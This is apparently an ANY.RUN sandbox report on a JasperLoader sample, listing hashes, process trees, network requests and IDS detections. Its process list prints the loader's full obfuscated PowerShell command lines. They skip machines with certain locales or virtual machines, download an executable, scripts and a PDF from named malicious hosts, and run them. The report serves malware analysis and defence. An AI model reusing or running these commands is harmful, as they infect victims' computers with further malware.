analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.gz

Full analysis: https://app.any.run/tasks/bcf79605-5844-476e-a272-6ed5611efb91
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: April 15, 2019, 10:34:45
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
jasper
trojan
Indicators:
MIME: application/gzip
File info: gzip compressed data, max compression, from Unix
MD5:

5A9C037DE235C6D8DAF0A744096E454E

SHA1:

63EF771D6D87E25EF34BF89704757399202EE5F6

SHA256:

1B892A7DB2D8CAC1D8841214F54AAEA2B6D04F773DD12B927A192A87861BC73E

SSDEEP:

192:DODbsXGxzS3Cyfkj1MwjhNtjAW8LpcxSqR2m:i3sWICyfkj1PN9OLpcAQ2m

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • JASPER was detected

      • powershell.exe (PID: 3188)

    • Writes to a start menu file

      • powershell.exe (PID: 3188)

    • Connects to CnC server

      • powershell.exe (PID: 3188)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3696)
      • powershell.exe (PID: 2892)
      • powershell.exe (PID: 3188)
      • notepad++.exe (PID: 2508)

    • Executes scripts

      • powershell.exe (PID: 3696)

    • Executes application which crashes

      • powershell.exe (PID: 2892)
      • powershell.exe (PID: 3696)

    • Executes PowerShell scripts

      • WScript.exe (PID: 2644)
      • WScript.exe (PID: 2492)

  • INFO

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 3696)
      • powershell.exe (PID: 3188)

    • Application launched itself

      • AcroRd32.exe (PID: 1080)
      • RdrCEF.exe (PID: 3556)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.z/gz/gzip | GZipped data (100)

EXIF

ZIP

OperatingSystem: Unix
ExtraFlags: Maximum Compression
ModifyDate: 0000:00:00 00:00:00
Flags: (none)
Compression: Deflated
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
52
Monitored processes
15
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs wscript.exe no specs powershell.exe powershell.exe ntvdm.exe no specs wscript.exe no specs ntvdm.exe no specs acrord32.exe #JASPER powershell.exe acrord32.exe no specs rdrcef.exe no specs rdrcef.exe no specs rdrcef.exe no specs notepad++.exe gup.exe

Process information

PID
CMD
Path
Indicators
Parent process
2580"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.gz.z"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.60.0
2644"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.vbs" C:\Windows\System32\WScript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
3696powershell -WindowStyle Hidden -Command $a='';105,102,40,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,39,82,85,124,85,65,124,66,89,124,67,78,39,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,39,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,39,41,32,41,123,32,101,120,105,116,59,32,125,59,36,122,106,106,101,100,103,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,59,36,118,120,118,118,118,106,104,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,107,121,112,101,65,112,112,54,52,46,101,120,101,39,59,36,104,97,117,102,97,32,61,32,39,104,116,116,112,58,47,47,103,105,107,111,46,101,109,101,114,97,108,100,115,117,114,102,115,99,105,101,110,99,101,46,99,111,109,47,97,112,105,63,122,106,121,102,105,103,39,59,36,118,116,122,121,98,121,103,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,101,97,114,99,104,73,51,50,46,106,115,39,59,36,98,103,105,118,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,36,99,99,104,97,102,122,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,98,116,120,97,46,112,100,102,39,59,36,98,121,101,118,104,105,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,121,101,118,104,105,44,36,118,116,122,121,98,121,103,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,116,122,121,98,121,103,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,104,97,117,102,97,44,36,118,120,118,118,118,106,104,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,120,118,118,118,106,104,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,103,105,118,44,36,99,99,104,97,102,122,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,99,99,104,97,102,122,59,125,99,97,116,99,104,123,125,59|%{$a+=[char]$_};iex $a;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2892"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command $a='';105,102,40,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,39,82,85,124,85,65,124,66,89,124,67,78,39,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,39,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,39,41,32,41,123,32,101,120,105,116,59,32,125,59,36,122,106,106,101,100,103,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,59,36,118,120,118,118,118,106,104,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,107,121,112,101,65,112,112,54,52,46,101,120,101,39,59,36,104,97,117,102,97,32,61,32,39,104,116,116,112,58,47,47,103,105,107,111,46,101,109,101,114,97,108,100,115,117,114,102,115,99,105,101,110,99,101,46,99,111,109,47,97,112,105,63,122,106,121,102,105,103,39,59,36,118,116,122,121,98,121,103,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,83,101,97,114,99,104,73,51,50,46,106,115,39,59,36,98,103,105,118,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,36,99,99,104,97,102,122,32,61,32,74,111,105,110,45,80,97,116,104,32,36,122,106,106,101,100,103,32,39,98,116,120,97,46,112,100,102,39,59,36,98,121,101,118,104,105,32,61,32,39,104,116,116,112,58,47,47,105,114,109,46,115,107,111,102,105,114,109,46,110,101,116,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,54,39,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,121,101,118,104,105,44,36,118,116,122,121,98,121,103,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,116,122,121,98,121,103,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,104,97,117,102,97,44,36,118,120,118,118,118,106,104,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,120,118,118,118,106,104,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,103,105,118,44,36,99,99,104,97,102,122,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,99,99,104,97,102,122,59,125,99,97,116,99,104,123,125,59|%{$a+=[char]$_};iex $a;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2088"C:\Windows\system32\ntvdm.exe" -i1 C:\Windows\system32\ntvdm.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
NTVDM.EXE
Exit code:
3221225477
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2492"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SearchI32.js" C:\Windows\System32\WScript.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
828"C:\Windows\system32\ntvdm.exe" -i2 C:\Windows\system32\ntvdm.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
NTVDM.EXE
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1080"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\admin\AppData\Local\Temp\btxa.pdf"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
powershell.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat Reader DC
Exit code:
1
Version:
15.23.20070.215641
3188"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; };$whvgbyghxzbbgygsatuzzts = [System.IO.Path]::GetTempPath();$ayjxexbuutsiadbcgv = Join-Path $whvgbyghxzbbgygsatuzzts 'SearchI32.txt';$wyfezawhdcx='http://green.dddownhole.com/cryptbody2.php';$zessstywsg = Join-Path $whvgbyghxzbbgygsatuzzts 'SearchI32.js';$fsafeswud='http://green.dddownhole.com/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php';$aavhdg = '';$bdgftguzujsyawbgwjixxvc='(New-OzAD3xu9bject Net.WebCliezAD3xu9ntzAD3xu9).DozAD3xu9wnloazAD3xu9dFilzAD3xu9e(zAD3xu9$wyzAD3xu9fezazAD3xu9wzAD3xu9hdczAD3xu9x,$ayzAD3xu9jzAD3xu9xexbuzAD3xu9utsiazAD3xu9dbczAD3xu9gv);zAD3xu9' -replace 'zAD3xu9','';iex $bdgftguzujsyawbgwjixxvc;$gasxb='(NeEv8Ayu8wEv8Ayu8-ObjecEv8Ayu8t NetEv8Ayu8.WeEv8Ayu8bClieEv8Ayu8nt)Ev8Ayu8.DownloadFEv8Ayu8iEv8Ayu8lEv8Ayu8e($fsafeEv8Ayu8sEv8Ayu8wudEv8Ayu8,Ev8Ayu8$zEv8Ayu8esssEv8Ayu8tywEv8Ayu8sg);Ev8Ayu8' -replace 'Ev8Ayu8','';iex $gasxb;Get-Content $ayjxexbuutsiadbcgv | Where-Object {$_ -match $regex} | ForEach-Object { $aavhdg += $_ -replace '..(.)','$1'};iex $aavhdg;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2140"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer "C:\Users\admin\AppData\Local\Temp\btxa.pdf"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe—AcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe Acrobat Reader DC
Exit code:
1
Version:
15.23.20070.215641
Total events
2 127
Read events
1 874
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
9
Text files
16
Unknown types
10

Dropped files

PID
Process
Filename
Type
2580WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2580.868\194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.gz —
MD5:—
SHA256:—
3696powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A156X87O3PXAHWQJRQKR.temp —
MD5:—
SHA256:—
2892powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FGXLAET2BVTAAW9A01IZ.temp —
MD5:—
SHA256:—
2892powershell.exeC:\Users\admin\AppData\Local\Temp\SkypeApp64.exe —
MD5:—
SHA256:—
2088ntvdm.exeC:\Users\admin\AppData\Local\Temp\scs9ED3.tmp —
MD5:—
SHA256:—
3696powershell.exeC: —
MD5:—
SHA256:—
828ntvdm.exeC:\Users\admin\AppData\Local\Temp\scsA049.tmp —
MD5:—
SHA256:—
828ntvdm.exeC:\Users\admin\AppData\Local\Temp\scsA05A.tmp —
MD5:—
SHA256:—
3188powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OM8WGZNSGIK430IPACG5.temp —
MD5:—
SHA256:—
2140AcroRd32.exeC:\Users\admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
14
TCP/UDP connections
19
DNS requests
11
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2892
powershell.exe
GET
200
185.158.249.151:80
http://giko.emeraldsurfscience.com/api?zjyfig
NL
text
4 b
suspicious
3696
powershell.exe
GET
200
185.158.251.243:80
http://irm.skofirm.net/l2.php?vid=pec6
NL
text
27.4 Kb
malicious
1080
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/279_15_23_20070.zip
unknown
—
—
whitelisted
1080
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/281_15_23_20070.zip
unknown
—
—
whitelisted
1080
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/280_15_23_20070.zip
unknown
—
—
whitelisted
3188
powershell.exe
GET
200
185.158.251.243:80
http://green.dddownhole.com/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php
NL
text
27.0 Kb
malicious
3188
powershell.exe
GET
200
185.158.251.243:80
http://green.dddownhole.com/?b=USER-PC_DELL_62f21c60&os=6.1.7601.17514&v=408.3&psver=2
NL
text
2 b
malicious
1080
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/277_15_23_20070.zip
unknown
—
—
whitelisted
3188
powershell.exe
GET
200
185.158.251.243:80
http://green.dddownhole.com/cryptbody2.php
NL
text
10.4 Kb
malicious
3696
powershell.exe
GET
200
185.158.249.151:80
http://giko.emeraldsurfscience.com/api?zjyfig
NL
text
4 b
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3188
powershell.exe
185.158.251.243:80
irm.skofirm.net
23media GmbH
NL
suspicious
1080
AcroRd32.exe
52.20.141.173:443
files.acrobat.com
Amazon.com, Inc.
US
unknown
3696
powershell.exe
185.158.251.243:80
irm.skofirm.net
23media GmbH
NL
suspicious
2892
powershell.exe
185.158.249.151:80
giko.emeraldsurfscience.com
easystores GmbH
NL
suspicious
2892
powershell.exe
185.158.251.243:80
irm.skofirm.net
23media GmbH
NL
suspicious
3696
powershell.exe
185.158.249.151:80
giko.emeraldsurfscience.com
easystores GmbH
NL
suspicious
—
—
2.16.106.50:80
ocsp.usertrust.com
Akamai International B.V.
—
whitelisted
—
—
185.158.251.243:80
irm.skofirm.net
23media GmbH
NL
suspicious
1080
AcroRd32.exe
2.16.186.32:80
acroipm2.adobe.com
Akamai International B.V.
—
whitelisted
1080
AcroRd32.exe
2.18.233.74:443
armmf.adobe.com
Akamai International B.V.
—
whitelisted

DNS requests

Domain
IP
Reputation
irm.skofirm.net
  • 185.158.251.243
malicious
giko.emeraldsurfscience.com
  • 185.158.249.151
suspicious
green.dddownhole.com
  • 185.158.251.243
malicious
files.acrobat.com
  • 52.20.141.173
  • 54.236.178.223
  • 52.6.83.167
  • 34.232.116.39
whitelisted
acroipm2.adobe.com
  • 2.16.186.32
  • 2.16.186.33
whitelisted
armmf.adobe.com
  • 2.18.233.74
whitelisted
notepad-plus-plus.org
  • 37.59.28.236
whitelisted
ocsp.usertrust.com
  • 2.16.106.50
  • 2.16.106.80
whitelisted
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
3188
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan-Downloader.Script.Generic (JasperLoader)
3188
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan-Downloader.Script.Generic (JasperLoader)
3696
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan-Downloader.Script.Generic (JasperLoader)
2892
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Trojan-Downloader.Script.Generic (JasperLoader)
3188
powershell.exe
A Network Trojan was detected
ET TROJAN JasperLoader CnC Checkin
1 ETPRO signatures available at the full report
Process
Message
notepad++.exe
VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
notepad++.exe
VerifyLibrary: certificate revocation checking is disabled
notepad++.exe
42C4C5846BB675C74E2B2C90C69AB44366401093
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
194f80dc24161881d8ce03acbe83ed8141d4e7363a1a5f84faf83c740eb4be18.bin.gz